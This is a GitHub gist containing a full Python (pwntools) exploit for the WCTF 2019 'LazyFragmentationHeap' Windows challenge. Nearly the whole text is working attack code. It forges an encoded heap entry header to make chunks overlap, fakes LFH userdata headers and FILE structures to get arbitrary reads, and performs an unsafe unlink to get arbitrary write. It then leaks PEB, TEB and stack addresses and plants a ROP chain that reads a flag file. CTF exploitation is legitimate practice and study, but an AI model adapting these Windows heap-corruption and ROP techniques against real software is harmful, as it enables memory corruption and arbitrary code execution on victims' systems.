Skip to content

Instantly share code, notes, and snippets.

@y0ny0ns0n
Created May 5, 2020 14:55
Show Gist options
  • Save y0ny0ns0n/2b88a9c3d5f8476885cca68b8239cd16 to your computer and use it in GitHub Desktop.
Save y0ny0ns0n/2b88a9c3d5f8476885cca68b8239cd16 to your computer and use it in GitHub Desktop.
exploit code of LazyFragmentationHeap on WCTF 2019
from pwn import *
# context.log_level = "debug"
# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
HOST = "192.168.0.18" # VirtualBox Bridge
PORT = 6677
SIZE = 0xC8 # yes, I intend korean slang
hi = None
sla = None
def alloc(chunk_id, size):
sla("Your choice: ", str(1))
sla("Size:", str(size))
sla("ID:", str(chunk_id))
def edit(chunk_id, val, need_newline=True):
sla("Your choice: ", str(2))
sla("ID:", str(chunk_id))
if need_newline:
sla("Content:", val)
else:
hi.sendafter("Content:", val)
def show(chunk_id):
sla("Your choice: ", str(3))
sla("ID:", str(chunk_id))
return hi.recvline().strip()[9:]
def free(chunk_id):
sla("Your choice: ", str(4))
sla("ID:", str(chunk_id))
def open_file():
sla("Your choice: ", str(5))
sla("Your choice: ", str(1))
sla("Your choice: ", str(3))
def read_file(chunk_id, size, go_back=True):
sla("Your choice: ", str(5))
sla("Your choice: ", str(2))
sla("ID:", str(chunk_id))
sla("Size:", str(size))
if go_back:
sla("Your choice: ", str(3))
def persistent_leak(cursor=0, disconn=True, leakLazy=False):
global hi, sla
context.log_level = "error"
hi = remote(HOST, PORT)
sla = hi.sendlineafter
alloc(1, SIZE)
edit(1, "A" * SIZE)
try:
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
except struct.error:
log.info("_HEAP_ENTRY not leaked")
return
# log.info("_HEAP->Encoding = 0x%016x" % heap_encod)
alloc(2, 0x268)
alloc(3, 0x200)
fake_entry = 0x10000027c80101c8 ^ heap_encod
'''
0x10000027c80101c8
+0x008 Size : 0x1c8
+0x00a Flags : 0x1 ''
+0x00b SmallTagIndex : 0xc8 ''
+0x008 SubSegmentCode : 0xc80101c8
+0x00c PreviousSize : 0x27
+0x00e SegmentOffset : 0 ''
+0x00e LFHFlags : 0 ''
+0x00f UnusedBytes : 0x10 ''
'''
# log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)
alloc(4, 0x1c80 - # fake chunk size
0x20 - # sizeof(_HEAP_ENTRY) * 2
0x200 # orginal size of overwritten chunk
)
open_file()
read_file(2, 0x268)
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
free(3) # free coalesce mechanism also free'ing chunk 4
alloc(3, 0x200) # set Flink and Blink at chunk 4
heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
if heap_base == 0:
log.info("Heap address not leaked")
return
if leakLazy:
cursor = heap_base + 0x27b2 # can't leak null-byte
elif cursor == 0:
# default target is ntdll on _HEAP->LockVariable->Lock
cursor = heap_base + 0x2c0
# log.info("&_HEAP = 0x%016x" % heap_base)
# make LFH to allocate new Userblock in chunk 4
for _ in range(0x14):
open_file()
fake_HEAP_USERDATA_HEADER = ""
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0) # +0x000 SubSegment
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40) # +0x008 Reserved
fake_HEAP_USERDATA_HEADER += p32(0xc) # +0x010 SizeIndexAndPadding
fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0) # +0x014 Signature
fake_HEAP_USERDATA_HEADER += p64(0) * 5 # I couldn't leak other values
fake_FILE = ""
fake_FILE += p64(0) * 2 # _HEAP_ENTRY
fake_FILE += p64(cursor) # cursor of SEEK_CUR
fake_FILE += p64(cursor & ~0xfff) # base address
fake_FILE += p32(0x800) # remaining file size
fake_FILE += p32(0x2041) # I dunno what they are
fake_FILE += p64(0x17)
fake_FILE += p64(0x1000)
fake_FILE += p64(0)
fake_FILE += p64(0xffffffffffffffff)
fake_FILE += p64(0xffffffff)
fake_FILE += p64(0)
fake_FILE += p64(0)
for_leak = ""
for_leak += fake_HEAP_USERDATA_HEADER
for_leak += fake_FILE * (0x1000 / len(fake_FILE))
edit(4, for_leak)
alloc(5, SIZE)
if leakLazy:
read_file(5,4)
result = u64(show(5)[:4].ljust(8, p8(0))) << 16
else:
read_file(5,8)
result = u64(show(5)[:8].ljust(8, p8(0)))
if disconn:
sla("Your choice: ", str(6))
hi.close()
context.log_level = "info"
return result
magic_switch = True
def exploit():
global hi, sla
hi = remote(HOST, PORT)
sla = hi.sendlineafter
alloc(1, SIZE)
edit(1, "A" * SIZE)
try:
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
except struct.error:
log.info("_HEAP_ENTRY not leaked")
return
alloc(2, 0x268)
alloc(3, 0x200)
fake_entry = 0x10000027c80101c8 ^ heap_encod
'''
0x10000027c80101c8
+0x008 Size : 0x1c8
+0x00a Flags : 0x1 ''
+0x00b SmallTagIndex : 0xc8 ''
+0x008 SubSegmentCode : 0xc80101c8
+0x00c PreviousSize : 0x27
+0x00e SegmentOffset : 0 ''
+0x00e LFHFlags : 0 ''
+0x00f UnusedBytes : 0x10 ''
'''
alloc(4, 0x1000) # big chunk for LFH's new UserBlock
# pre-setting for Unsafe Unlink
# (0x1c80 - 0x40 - 0x200 - 0x1000)/2 = 0x520
alloc(5, 0x520)
# this is chunk 6
# set chunk_id to _HEP_ENTRY for Heap Feng-Shui
alloc(0x5353000053 ^ heap_encod, 0x520)
open_file()
read_file(2, 0x268)
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
free(3) # free coalesce mechanism also free'ing chunk 4, 5, 6
alloc(3, 0x200) # set Flink and Blink at chunk 4, 5, 6
heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
if heap_base == 0:
log.info("Heap address not leaked")
return
# make LFH to allocate new Userblock in chunk 4
for _ in range(0x14):
open_file()
fake_HEAP_USERDATA_HEADER = ""
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0) # +0x000 SubSegment
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40) # +0x008 Reserved
fake_HEAP_USERDATA_HEADER += p32(0xc) # +0x010 SizeIndexAndPadding
fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0) # +0x014 Signature
fake_HEAP_USERDATA_HEADER += p64(0) * 5 # I couldn't leak other values
# cursor points heap_mem of chunk 3
cursor = 0xbeefdad0000 + (0x28 * 2) + 0x20
# HAVE TO set specific values to get input from STDIN
fake_FILE = ""
fake_FILE += p64(0) * 2 # _HEAP_ENTRY
fake_FILE += p64(cursor) # cursor of SEEK_CUR <--|
fake_FILE += p64(cursor) # base address <--------|-- both must be equal
fake_FILE += p32(0) # remaining file size
fake_FILE += p32(0x2041) # I dunno what they are
fake_FILE += p64(0x1) # <------------------------ only 0 or 1 or 2
fake_FILE += p64(0x800)
fake_FILE += p64(0)
fake_FILE += p64(0xffffffffffffffff)
fake_FILE += p64(0xffffffff)
fake_FILE += p64(0)
fake_FILE += p64(0)
for_leak = ""
for_leak += fake_HEAP_USERDATA_HEADER
for_leak += fake_FILE * ((0x1000-len(for_leak)) / len(fake_FILE))
edit(4, for_leak, False)
read_file(3, 8, False)
# ucrtbase!_pioinfo[0] has fixed heap offset
hi.send(p64(heap_base+0x8d48)) # I dunno any details about windows FSOP...V_V
sla("Your choice: ", str(3)) # But @scwuaptx said offset 0x38 is flag
edit(3, p8(9), False) # this will switch text mode to binary mode
fxxk = 0xbeefdad0000 + (0x28 * 5) + 0x20 # heap_mem of chunk 6
alloc(7, (0x520*2) + 0x10) # sizeof(chunk 5 and 6) + sizeof(_HEAP_ENTRY)
# have same heap_mem with chunk 5
free(5) # Actually it free'ing chunk 7
alloc(5, 0x520) # Now, chunk 7 === chunk 5
# But chunk 7 is bigger than chunk 5
edit(7, "A" * 0x520 +
p64(0) +
p64(0x5353000053 ^ heap_encod) +
p64(fxxk - 8) + # Flink->Blink = Flink
p64(fxxk) # Blink->Flink = Blink
# satisfying unlink condition
# *(fxxk) = fxxk
)
alloc(8, 0x520)
lazy_id1 = 0xdeadbeef
lazy_id2 = 0xcafebabe
lazy_id3 = 0x13371337
create_lazy_header = lambda chunk_id : flat([
0xddaabeef1acd,
0x200,
chunk_id,
0xddaabeef1acd,
], word_size=64, endianness="little")
lazy_header1 = create_lazy_header(lazy_id1)
lazy_header2 = create_lazy_header(lazy_id2)
lazy_header3 = create_lazy_header(lazy_id3)
edit(0x5353000053 ^ heap_encod, p64(0xbeefdad0000) +
lazy_header1 +
p64(0xbeefdad0000)
)
# set lazy_header1 at 0xbeefdad0000
edit(lazy_id1, lazy_header1 + p64(0xbeefdad0000))
# Becuase of edit limit at "2. Edit File content",
# HAVE TO keep modifying magic1
def lazy_read(addr):
global magic_switch
if magic_switch:
edit(lazy_id1, lazy_header1 +
p64(addr) +
lazy_header2 +
p64(0xbeefdad0000)
)
result = show(lazy_id1)
else:
edit(lazy_id2, lazy_header1 +
p64(0xbeefdad0000) +
lazy_header2 +
p64(addr)
)
result = show(lazy_id2)
magic_switch = not magic_switch
return result
def lazy_write(addr, value):
global magic_switch
if magic_switch:
edit(lazy_id1, lazy_header1 +
p64(addr) +
lazy_header2 +
p64(0xbeefdad0000) +
lazy_header3 +
p64(addr)
)
else:
edit(lazy_id2, lazy_header1 +
p64(0xbeefdad0000) +
lazy_header2 +
p64(addr) +
lazy_header3 +
p64(addr)
)
edit(lazy_id3, value, False)
magic_switch = not magic_switch
# ntdll!TlsBitMap+0x8 == _PEB->TlsBitmap
_PEB = u64(lazy_read(ntdll+0x165348).ljust(8, p8(0))) - 0x80
_TEB = _PEB + 0x1000
log.info("&_PEB = 0x%016x" % _PEB)
log.info("&_TEB = 0x%016x" % _TEB)
# leak _TEB->NtTib->StackBase
stack_base = u64(lazy_read(_TEB + 8 + 2).ljust(8, p8(0))) << 16
log.info("_TEB->NtTib->StackBase = 0x%016x" % stack_base)
# find return address of main() at beginning
main_ret = lazy_base + 0x1b78
find_ret_addr = hi.progress("finding return address on stack")
for offset in range(8, 0x1000, 8):
stack_addr = stack_base - offset
stack_leak = u64(lazy_read(stack_addr).ljust(8, p8(0)))
if stack_leak == main_ret:
find_ret_addr.success("gotcha!")
break
# return addres of read() at lazyfragmentationheap+0x14bb
stack_addr = stack_addr - 0x80
log.info("stack addr = 0x%016x" % stack_addr)
flag_addr = lazy_base + 0x50c0
flag_buf = lazy_base + 0x50d0
lazy_write(flag_addr, "flag.txt\x00")
# restore Heap for WINAPI internal usage
HeapCreate_addr = kernel32 + 0x1e500 # IAT to KERNELBASE!HeapCreate
# https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/crt-alphabetical-function-reference
# ucrtbase.dll contains POSIX functions like open(), read(), write()...
open_addr = ucrtbase + 0xa1ae0
read_addr = ucrtbase + 0x16140
write_addr = ucrtbase + 0x14b30
exit_addr = ucrtbase + 0x1b8c0
pop_rcx_ret = ntdll + 0x21527
pop_rdx_ret = ucrtbase + 0xa9eb2
pop_r8_ret = ntdll + 0x4d6cf
store_rdx_rax_ret = ntdll + 0x88f5c
store_rcx_plus8_rax_ret = ucrtbase + 0x4a721
add_rsp_0x28_ret = ntdll + 0x63c5
process_heap = _PEB + 0x30 # _PEB->ProcessHeap
crt_heap = ucrtbase + 0xeb570 # ucrtbase!_acrt_heap
rop_chain = flat([
pop_rcx_ret,
0,
pop_rdx_ret,
0,
pop_r8_ret,
0,
HeapCreate_addr, # rax = HeapCreate(0, 0, 0)
pop_rdx_ret,
process_heap,
store_rdx_rax_ret, # *process_heap = rax
pop_rdx_ret,
crt_heap,
store_rdx_rax_ret, # *crt_heap = rax
# rax = open("flag.txt", _O_RDONLY, _S_IREAD)
pop_rcx_ret,
flag_addr,
pop_rdx_ret,
0,
pop_r8_ret,
0x100,
open_addr,
add_rsp_0x28_ret,
0, 0, 0, 0, 0,
# read(rax, flag_buf, 0x80)
pop_rcx_ret,
stack_addr + (8 * 29),
store_rcx_plus8_rax_ret,
pop_rcx_ret,
0x12345678, # will replace to fd
pop_rdx_ret,
flag_buf,
pop_r8_ret,
0x80,
read_addr,
add_rsp_0x28_ret,
0, 0, 0, 0, 0,
# write(1, flag_buf, 0x80)
pop_rcx_ret,
1,
pop_rdx_ret,
flag_buf,
pop_r8_ret,
0x80,
write_addr,
add_rsp_0x28_ret,
0, 0, 0, 0, 0,
# exit(0)
pop_rcx_ret,
0,
exit_addr
], word_size=64, endianness="little")
lazy_write(stack_addr, rop_chain)
hi.interactive(prompt=None)
# I DON'T WANT TO SEE FXXKING ERROR
is_leaked = log.progress("This is gonna takes some time...")
while True:
try:
lazy_base = persistent_leak(leakLazy=True)
kernel32 = persistent_leak(lazy_base+0x3008) - 0x1e690 # KERNEL32!IsDebuggerPresentStub
ntdll = persistent_leak(lazy_base+0x3010) - 0x73810 # ntdll!RtlInitializeSListHead
ucrtbase = persistent_leak(lazy_base+0x30b0) - 0x0f760 # ucrtbase!free
break
except Exception:
continue
is_leaked.success("Done :D")
log.info("LazyFragmentationHeap = 0x%016x" % lazy_base)
log.info("kernel32 = 0x%016x" % kernel32)
log.info("ntdll = 0x%016x" % ntdll)
log.info("ucrtbase = 0x%016x" % ucrtbase)
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment